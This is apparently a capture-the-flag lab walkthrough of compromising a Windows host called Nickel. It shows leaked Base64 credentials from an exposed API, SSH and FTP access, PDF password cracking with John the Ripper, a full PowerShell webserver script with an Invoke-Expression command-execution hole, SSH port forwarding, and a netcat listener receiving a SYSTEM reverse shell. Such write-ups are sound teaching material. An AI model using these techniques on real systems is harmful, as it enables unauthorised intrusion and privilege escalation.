Machine Info

Spoiler
This lab demonstrates exploiting a credential disclosure in a web application to gain an initial foothold via SSH. Learners will extract credentials from a password-protected PDF to uncover a hidden administrative service, then bypass firewall protections using SSH port forwarding. The lab concludes with executing commands as SYSTEM and deploying a reverse shell, showcasing advanced enumeration, port forwarding, and privilege escalation techniques.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.60 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
|   256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_  256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2025-12-06T11:11:21
|_Not valid after:  2026-06-07T11:11:21
| rdp-ntlm-info: 
|   Target_Name: NICKEL
|   NetBIOS_Domain_Name: NICKEL
|   NetBIOS_Computer_Name: NICKEL
|   DNS_Domain_Name: nickel
|   DNS_Computer_Name: nickel
|   Product_Version: 10.0.18362
|_  System_Time: 2026-03-04T13:42:49+00:00
|_ssl-date: 2026-03-04T13:43:54+00:00; +13s from scanner time.
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8089/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
33333/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows 10 (97%), Linux 2.4.X|2.6.X (89%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.4.18
Aggressive OS guesses: Microsoft Windows 10 1909 - 2004 (97%), Microsoft Windows 10 1903 - 21H1 (92%), Microsoft Windows 10 1709 - 21H2 (90%), Microsoft Windows 10 1909 (90%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (89%), OpenWrt White Russian 0.9 (Linux 2.4.30) (89%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (89%), Linux 2.4.18 (89%), Microsoft Windows 10 21H2 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-04T13:42:51
|_  start_date: N/A
|_clock-skew: mean: 12s, deviation: 0s, median: 12s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

API

Looking at ports open we see two web services. Browsing the first gives us this page.

Button don’t seem to do much but looking at the HTML code we can see the connection with the service running on port 33333 as it acts as the API for it.

The buttons wouldn’t work since the IP is wrong but we get the idea and the endpoints that should work. So we are going to test them.

1
2
└─$ curl http://$VICTIM:33333/list-active-nodes                         
<p>Cannot "GET" /list-running-procs</p>     

At first we change the method from GET to POST.

1
2
3
4
5
6
7
└─$ curl -X POST http://$VICTIM:33333/list-active-nodes                  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Length Required</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Length Required</h2>
<hr><p>HTTP Error 411. The request must be chunked or have a content length.</p>
</BODY></HTML>

Here we get the error that we haven’t included a required header on our request.

1
2
3
4
5
└─$ curl -X POST http://$VICTIM:33333/list-active-nodes -H "Content-length: 0"
<p>Not Implemented</p>     

└─$ curl -X POST http://$VICTIM:33333/list-current-deployments -H "Content-length: 0"
<p>Not Implemented</p>

We get a response that these endpoints haven’t been implemented which is strange but we get our luck on the last one!

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
└─$ curl -X POST http://$VICTIM:33333/list-running-procs -H "Content-length: 0"


name        : System Idle Process
commandline : 

name        : System
commandline : 

name        : Registry
commandline : 

name        : smss.exe
commandline : 

name        : csrss.exe
commandline : 

name        : wininit.exe
commandline : 

name        : csrss.exe
commandline : 

name        : winlogon.exe
commandline : winlogon.exe

name        : services.exe
commandline : 

name        : lsass.exe
commandline : C:\Windows\system32\lsass.exe

name        : fontdrvhost.exe
commandline : "fontdrvhost.exe"

name        : fontdrvhost.exe
commandline : "fontdrvhost.exe"

name        : dwm.exe
commandline : "dwm.exe"

name        : Memory Compression
commandline : 

name        : powershell.exe
commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws80.ps1

name        : cmd.exe
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p 
              "[BASE64-ENCODED PASSWORD]" --server nickel-dev --protocol ssh

name        : powershell.exe
commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws8089.ps1

name        : powershell.exe
commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws33333.ps1

name        : FileZilla Server.exe
commandline : "C:\Program Files (x86)\FileZilla Server\FileZilla Server.exe"

name        : sshd.exe
commandline : "C:\Program Files\OpenSSH\OpenSSH-Win64\sshd.exe"

name        : VGAuthService.exe
commandline : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"

name        : vm3dservice.exe
commandline : C:\Windows\system32\vm3dservice.exe

name        : vmtoolsd.exe
commandline : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"

name        : vm3dservice.exe
commandline : vm3dservice.exe -n

name        : dllhost.exe
commandline : C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}

name        : WmiPrvSE.exe
commandline : C:\Windows\system32\wbem\wmiprvse.exe

name        : msdtc.exe
commandline : C:\Windows\System32\msdtc.exe

name        : LogonUI.exe
commandline : "LogonUI.exe" /flags:0x2 /state0:0xa395f055 /state1:0x41c64e6d

name        : conhost.exe
commandline : \??\C:\Windows\system32\conhost.exe 0x4

name        : conhost.exe
commandline : \??\C:\Windows\system32\conhost.exe 0x4

name        : conhost.exe
commandline : \??\C:\Windows\system32\conhost.exe 0x4

name        : conhost.exe
commandline : \??\C:\Windows\system32\conhost.exe 0x4

name        : MicrosoftEdgeUpdate.exe
commandline : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /c

name        : SgrmBroker.exe
commandline : 

name        : SearchIndexer.exe
commandline : C:\Windows\system32\SearchIndexer.exe /Embedding

name        : WmiApSrv.exe
commandline : C:\Windows\system32\wbem\WmiApSrv.exe

We get the user credentials from the command line for user ariah. The password seems to be Base64 so we are going to reverse it.

Ariah's creds
1
2
└─$ echo "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" | base64 -d                                   
NowiseSloopTheory139

And voila that’s how we get user access to the Nickel host.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ ssh ariah@$VICTIM   

ariah@$VICTIM's password: 
Microsoft Windows [Version 10.0.18362.1016]
(c) 2019 Microsoft Corporation. All rights reserved.

PS C:\Users\ariah> ls




Mode                LastWriteTime         Length Name                                        
----                -------------         ------ ----                                        
d-r---       10/15/2020   7:23 AM                3D Objects                                  
d-r---       10/15/2020   7:23 AM                Contacts                                    
d-r---        4/14/2022   4:46 AM                Desktop                                     
d-r---       10/15/2020   7:23 AM                Documents                                   
d-r---       10/15/2020   7:23 AM                Downloads                                   
d-r---       10/15/2020   7:23 AM                Favorites                                   
d-r---       10/15/2020   7:25 AM                Pictures                                    
d-r---       10/15/2020   7:23 AM                Saved Games                                 
d-r---       10/15/2020   7:24 AM                Searches                                    
d-r---       10/15/2020   7:23 AM                Videos                                      


PS C:\Users\ariah> cd Desktop
PS C:\Users\ariah\Desktop> ls


    Directory: C:\Users\ariah\Desktop


Mode                LastWriteTime         Length Name                                        
----                -------------         ------ ----                                        
-a----         3/4/2026   5:38 AM             34 local.txt  

Administrator

Looking at the server we find the interesting file pretty quickly.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

PS C:\> cd ftp
PS C:\ftp> ls                                                                                


    Directory: C:\ftp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         9/1/2020  11:02 AM          46235 Infrastructure.pdf


PS C:\ftp>

We will use FTP to download it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ ftp ariah@$VICTIM -p                     
Connected to $VICTIM.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
331 Password required for ariah
Password: 
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||57162|)
150 Opening data channel for directory listing of "/"
-r--r--r-- 1 ftp ftp          46235 Sep 01  2020 Infrastructure.pdf
226 Successfully transferred "/"
ftp> get Infrastructure.pdf
local: Infrastructure.pdf remote: Infrastructure.pdf
229 Entering Extended Passive Mode (|||49941|)
150 Opening data channel for file download from server of "/Infrastructure.pdf"
100% |************************************************| 46235      797.92 KiB/s    00:00 ETA
226 Successfully transferred "/Infrastructure.pdf"
46235 bytes received in 00:00 (793.60 KiB/s)
ftp> bye
221 Goodbye

Let’s use John the Ripper for this job.

1
2
3
4
5
└─$ pdf2john Infrastructure.pdf 
Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*14350d814f7c974db9234e3e719e360b*32*6aa1a24681b93038947f76796470dbb100000000000000000000000000000000*32*d9363dc61ac080ac4b9dad4f036888567a2d468a6703faf6216af1eb307921b0
                                                                                             

└─$ pdf2john Infrastructure.pdf > pdf_hash
PDF password
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt  pdf_hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 4 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ariah4168        (?)     
1g 0:00:00:10 DONE (2026-03-04 16:18) 0.09803g/s 980831p/s 980831c/s 980831C/s ariana2005..ari7ana
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 

From the PDF we see a backup system, a NAS, but what is more interesting is the endpoint for command execution.

The thing is that we don’t know where these services are running. Let’s see the LISTENING ports on the server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       1916
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2004
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       844
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1000
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       916
  TCP    0.0.0.0:8089           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:33333          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       624
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       656
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       992
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       1828
  TCP    127.0.0.1:80           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       1916
  TCP    $VICTIM:22      $ATTACKER:43092   ESTABLISHED     2004

So we clearly see two TCP ports listening only to localhost. We can try to forward these to our ATTACKER host and see what we hit.

Tip
If we remember from earlier from the running processes we would have a PS scripts running under C:\Windows\System32. These were basically Powershell webserver scripts that are doing some logic. In these we would be able to see all the endpoints and their actions. We had found three of these for each different port.

Let’s first look at the PS script running on port 80.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
PS C:\Windows\System32> cat ws80.ps1

Param(
    [string]$BINDING = 'http://127.0.0.1:80/',
    [string]$BASEDIR = 'C:\temp\'
)

# If empty, use current filesystem path as base path for static content
if ([string]::IsNullOrEmpty($BASEDIR)) {
    $BASEDIR = (Get-Location -PSProvider FileSystem).ToString()
}

# Convert to absolute path
$BASEDIR = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($BASEDIR)

# HTML answer templates for specific calls; placeholders: !RESULT, !FORMFIELD, !PROMPT, etc.
$HTMLRESPONSECONTENTS = @{
    'GET /' = @"
<!doctype html>
<html>
  <body>
    dev-api started at $(Get-Date -Format s)
    <pre>!RESULT</pre>
  </body>
</html>
"@
}

# Set navigation header line for all web pages (optional)
# $HEADERLINE = "<p><a href='/'>Command execution</a> <a href='/script'>Execute script</a> <a href='/download'>Download file</a> <a href='/upload'>Upload file</a> <a href='/log'>Web logs</a> <a href='/starttime'>Webserver start time</a> <a href='/time'>Current time</a> <a href='/beep'>Beep</a> <a href='/quit'>Stop webserver</a></p>"

"$(Get-Date -Format s) Starting powershell webserver..."

$LISTENER = New-Object System.Net.HttpListener
$LISTENER.Prefixes.Add($BINDING)
$LISTENER.Start()

$Error.Clear()

try {
    "$(Get-Date -Format s) Powershell webserver started."
    $WEBLOG = "$(Get-Date -Format s) Powershell webserver started.`n"

    while ($LISTENER.IsListening) {
        # Analyze incoming request
        $CONTEXT  = $LISTENER.GetContext()
        $REQUEST  = $CONTEXT.Request
        $RESPONSE = $CONTEXT.Response

        $RESPONSEWRITTEN = $false

        # Log to console
        "$(Get-Date -Format s) $($REQUEST.RemoteEndPoint.Address) $($REQUEST.HttpMethod) $($REQUEST.Url.PathAndQuery)"

        # Log to variable
        $WEBLOG += "$(Get-Date -Format s) $($REQUEST.RemoteEndPoint.Address) $($REQUEST.HttpMethod) $($REQUEST.Url.PathAndQuery)`n"

        # Fixed coding for the request?
        $RECEIVED     = '{0} {1}' -f $REQUEST.HttpMethod, $REQUEST.Url.LocalPath
        $HTMLRESPONSE = $HTMLRESPONSECONTENTS[$RECEIVED]
        $RESULT       = ''

        switch ($RECEIVED) {

            'GET /' {
                # Read raw query string (without leading '?')
                $FORMFIELD = [uri]::UnescapeDataString(($REQUEST.Url.Query -replace '^\?', ''))

                if (-not [string]::IsNullOrEmpty($FORMFIELD)) {
                    try {
                        $RESULT = Invoke-Expression -EA SilentlyContinue $FORMFIELD 2> $null | Out-String
                    } catch {
                        # Ignore; some errors won't throw exceptions
                    }

                    if ($Error.Count -gt 0) {
                        $RESULT += "`nError while executing '$FORMFIELD'`n`n"
                        $RESULT += $Error[0]
                        $Error.Clear()
                    }
                }
            }

            { $_ -like '* /download' } {
                # Download file (GET or POST supported)

                # Is POST data in the request?
                if ($REQUEST.HasEntityBody) {
                    $READER = New-Object System.IO.StreamReader($REQUEST.InputStream, $REQUEST.ContentEncoding)
                    $DATA   = $READER.ReadToEnd()
                    $READER.Close()
                    $REQUEST.InputStream.Close()

                    # Parse URL-encoded body into a hashtable
                    $HEADER = @{}
                    $DATA.Split('&') | ForEach-Object {
                        $k = [uri]::UnescapeDataString(($_.Split('=')[0] -replace '\+', ' '))
                        $v = [uri]::UnescapeDataString(($_.Split('=')[1] -replace '\+', ' '))
                        $HEADER.Add($k, $v)
                    }

                    # Read header 'filepath'
                    $FORMFIELD = $HEADER.Item('filepath')

                    # Remove surrounding quotes (Test-Path doesn't like them)
                    $FORMFIELD = $FORMFIELD -replace '^`"', '' -replace '`"$', ''
                }

                if (-not [string]::IsNullOrEmpty($FORMFIELD)) {
                    if (Test-Path $FORMFIELD -PathType Leaf) {
                        try {
                            $BUFFER = [System.IO.File]::ReadAllBytes($FORMFIELD)

                            $RESPONSE.ContentLength64 = $BUFFER.Length
                            $RESPONSE.SendChunked     = $false
                            $RESPONSE.ContentType     = 'application/octet-stream'

                            $FILENAME = Split-Path -Leaf $FORMFIELD
                            $RESPONSE.AddHeader('Content-Disposition', "attachment; filename=$FILENAME")
                            $RESPONSE.AddHeader('Last-Modified', [IO.File]::GetLastWriteTime($FORMFIELD).ToString('r'))
                            $RESPONSE.AddHeader('Server', 'Powershell Webserver/1.2 on ')

                            $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length)
                            $RESPONSEWRITTEN = $true
                        } catch {
                            # Ignore; handle via $Error after
                        }

                        if ($Error.Count -gt 0) {
                            $RESULT += "`nError while downloading '$FORMFIELD'`n`n"
                            $RESULT += $Error[0]
                            $Error.Clear()
                        }
                    } else {
                        $RESULT = "File $FORMFIELD not found"
                    }
                }

                # Preset form value with file path for the caller's convenience
                $HTMLRESPONSE = $HTMLRESPONSE -replace '!FORMFIELD', $FORMFIELD
                break
            }

            'GET /upload' {
                # Present upload form
                break
            }

            'POST /upload' {
                # Upload file

                if ($REQUEST.HasEntityBody) {
                    $RESULT = 'Received corrupt or incomplete form data'

                    if ($REQUEST.ContentType) {
                        # Retrieve boundary marker for multipart separation
                        $BOUNDARY = $null

                        if ($REQUEST.ContentType -match 'boundary=(.*);') {
                            $BOUNDARY = '--' + $Matches[1]
                        } elseif ($REQUEST.ContentType -match 'boundary=(.*)$') {
                            $BOUNDARY = '--' + $Matches[1]
                        }

                        if ($BOUNDARY) {
                            $READER = New-Object System.IO.StreamReader($REQUEST.InputStream, $REQUEST.ContentEncoding)
                            $DATA   = $READER.ReadToEnd()
                            $READER.Close()
                            $REQUEST.InputStream.Close()

                            $FILENAME   = ''
                            $SOURCENAME = ''
                            $FILEDATA   = ''

                            # Separate headers by boundary string
                            $DATA -replace "$BOUNDARY--\r\n", "$BOUNDARY`r`n--" -split "$BOUNDARY\r\n" | ForEach-Object {
                                if (($_ -eq '') -or ($_ -eq '--')) { return }

                                # Only if well-defined header (metadata/data separation)
                                $splitIdx = $_.IndexOf("`r`n`r`n")
                                if ($splitIdx -le 0) { return }

                                $META = $_.Substring(0, $splitIdx)
                                $BODY = $_.Substring($splitIdx + 4) -replace "`r`n$", ''

                                if ($META -match 'Content-Disposition: form-data; name=(.*);') {
                                    $HEADERNAME = ($Matches[1] -replace '"', '')

                                    if ($HEADERNAME -eq 'filedata') {
                                        if ($META -match 'filename=(.*)') {
                                            $SOURCENAME = ($Matches[1] -replace "`r`n$", '' -replace "`r$", '' -replace '"', '')
                                            $FILEDATA   = $BODY
                                        }
                                    } elseif ($HEADERNAME -eq 'filepath') {
                                        $FILENAME = ($BODY -replace "`r`n$", '' -replace "`r$", '' -replace '"', '')
                                    }
                                }
                            }

                            if ($FILENAME -ne '') {
                                if ($SOURCENAME -ne '') {
                                    # Check/construct target filename
                                    if (Test-Path $FILENAME -PathType Container) {
                                        $TARGETNAME = Join-Path $FILENAME -ChildPath (Split-Path $SOURCENAME -Leaf)
                                    } else {
                                        $TARGETNAME = $FILENAME
                                    }

                                    try {
                                        # Save file with same encoding as received
                                        [IO.File]::WriteAllText($TARGETNAME, $FILEDATA, $REQUEST.ContentEncoding)
                                    } catch {
                                        # Ignore; handle via $Error after
                                    }

                                    if ($Error.Count -gt 0) {
                                        $RESULT += "`nError saving '$TARGETNAME'`n`n"
                                        $RESULT += $Error[0]
                                        $Error.Clear()
                                    } else {
                                        $RESULT = "File $SOURCENAME successfully uploaded as $TARGETNAME"
                                    }
                                } else {
                                    $RESULT = 'No file data received'
                                }
                            } else {
                                $RESULT = 'Missing target file name'
                            }
                        }
                    }
                } else {
                    $RESULT = 'No client data received'
                }

                break
            }

            'GET /log' {
                $RESULT = $WEBLOG
                break
            }

            'GET /time' {
                $RESULT = Get-Date -Format s
                break
            }

            'GET /starttime' {
                # Already in template
                break
            }

            'GET /beep' {
                [Console]::Beep(800, 300) # or "`a" or [char]7
                break
            }

            'GET /quit' {
                break
            }

            'GET /exit' {
                break
            }

            default {
                # Unknown command: check if path maps to a directory or file in $BASEDIR
                $CHECKDIR  = $BASEDIR.TrimEnd('/\') + $REQUEST.Url.LocalPath
                $CHECKFILE = ''

                if (Test-Path $CHECKDIR -PathType Container) {
                    # Directory: try common index files
                    $IDXLIST = '/index.htm', '/index.html', '/default.htm', '/default.html'
                    foreach ($IDXNAME in $IDXLIST) {
                        $candidate = $CHECKDIR.TrimEnd('/\') + $IDXNAME
                        if (Test-Path $candidate -PathType Leaf) {
                            $CHECKFILE = $candidate
                            break
                        }
                    }

                    if ($CHECKFILE -eq '') {
                        # Generate directory listing
                        $HTMLRESPONSE = @"
<!doctype html>
<html>
  <head>
    <title>$($REQUEST.Url.LocalPath)</title>
    <meta charset="utf-8">
  </head>
  <body>
    <h1>$($REQUEST.Url.LocalPath)</h1>
    <hr>
    <pre>
"@

                        if ($REQUEST.Url.LocalPath -notin @('', '/', '`"', '.')) {
                            $PARENTDIR = (Split-Path $REQUEST.Url.LocalPath -Parent) -replace '\\', '/'
                            if ($PARENTDIR.IndexOf('/') -ne 0) { $PARENTDIR = '/' + $PARENTDIR }
                            $HTMLRESPONSE += "<pre><a href=""$PARENTDIR"">[To Parent Directory]</a><br><br>"
                        }

                        $ENTRIES = Get-ChildItem -EA SilentlyContinue -Path $CHECKDIR

                        # Directories
                        $ENTRIES | Where-Object { $_.PSIsContainer } | ForEach-Object {
                            $HTMLRESPONSE += "$($_.LastWriteTime)       &lt;dir&gt; <a href=""$(Join-Path $REQUEST.Url.LocalPath $_.Name)"">$($_.Name)</a><br>"
                        }

                        # Files
                        $ENTRIES | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
                            $HTMLRESPONSE += "$($_.LastWriteTime)  $("{0,10}" -f $_.Length) <a href=""$(Join-Path $REQUEST.Url.LocalPath $_.Name)"">$($_.Name)</a><br>"
                        }

                        $HTMLRESPONSE += '</pre><hr></body></html>'
                    }
                } else {
                    # Not a directory: try a file
                    if (Test-Path $CHECKDIR -PathType Leaf) {
                        $CHECKFILE = $CHECKDIR
                    }
                }

                if ($CHECKFILE -ne '') {
                    # Static content available
                    try {
                        $BUFFER = [System.IO.File]::ReadAllBytes($CHECKFILE)

                        $RESPONSE.ContentLength64 = $BUFFER.Length
                        $RESPONSE.SendChunked     = $false

                        $EXTENSION = [IO.Path]::GetExtension($CHECKFILE)
                        if ($MIMEHASH.ContainsKey($EXTENSION)) {
                            $RESPONSE.ContentType = $MIMEHASH.Item($EXTENSION)
                        } else {
                            $RESPONSE.ContentType = 'application/octet-stream'
                            $FILENAME = Split-Path -Leaf $CHECKFILE
                            $RESPONSE.AddHeader('Content-Disposition', "attachment; filename=$FILENAME")
                        }

                        $RESPONSE.AddHeader('Last-Modified', [IO.File]::GetLastWriteTime($CHECKFILE).ToString('r'))
                        $RESPONSE.AddHeader('Server', 'Powershell Webserver/1.2 on ')
                        $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length)

                        $RESPONSEWRITTEN = $true
                    } catch {
                        # Ignore; handle via $Error after (if needed)
                    }
                } else {
                    # No file to serve found
                    if (-not (Test-Path $CHECKDIR -PathType Container)) {
                        $RESPONSE.StatusCode = 404
                        $HTMLRESPONSE = '<!doctype html><html><body>Incorrect Parameter</body></html>'
                    }
                }
            }
        }

        # Only send response if not already done
        if (-not $RESPONSEWRITTEN) {
            # Insert header line string into HTML template
            $HTMLRESPONSE = $HTMLRESPONSE -replace '!HEADERLINE', $HEADERLINE

            # Insert result string into HTML template
            $HTMLRESPONSE = $HTMLRESPONSE -replace '!RESULT', $RESULT

            # Return HTML answer to caller
            $BUFFER = [Text.Encoding]::UTF8.GetBytes($HTMLRESPONSE)
            $RESPONSE.ContentLength64 = $BUFFER.Length
            $RESPONSE.AddHeader('Last-Modified', [datetime]::Now.ToString('r'))
            $RESPONSE.AddHeader('Server', 'Powershell Webserver/1.2 on ')
            $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length)
        }

        # Finish answer to client
        $RESPONSE.Close()

        # Received command to stop webserver?
        if ($RECEIVED -in @('GET /exit', 'GET /quit')) {
            break
        }
    }
}
finally {
    $LISTENER.Close()
    "$(Get-Date -Format s) Powershell webserver stopped."
}

From it we get the sense that there is no command execution endpoint since the endpoint /script is not listed. But the notes from the PDF mention that /? will do so let’s test.

Tip
It actually will execute commands on the endpoint /? becase it runs it with Invoke-Expression $FORMFIELD!

We forward port 80 with ssh.

1
ssh ariah@$VICTIM -L 80:127.0.0.1:80

And now let’s browse the endpoint and see if we can execute commands.

Boom we are NT Authority\SYSTEM so we basically have rooted the host. Now let’s spawn a reverse shell for this. We are going to use Base64 encoded Powershell rev shell from here and we are going to get our reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
└─$ rlwrap nc -lnvp 4444                        
listening on [any] 4444 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 49872

PS C:\Windows\system32> cd C:\Users
PS C:\Users> cd Administrator                                                         

PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         3/4/2026   7:46 AM             34 proof.txt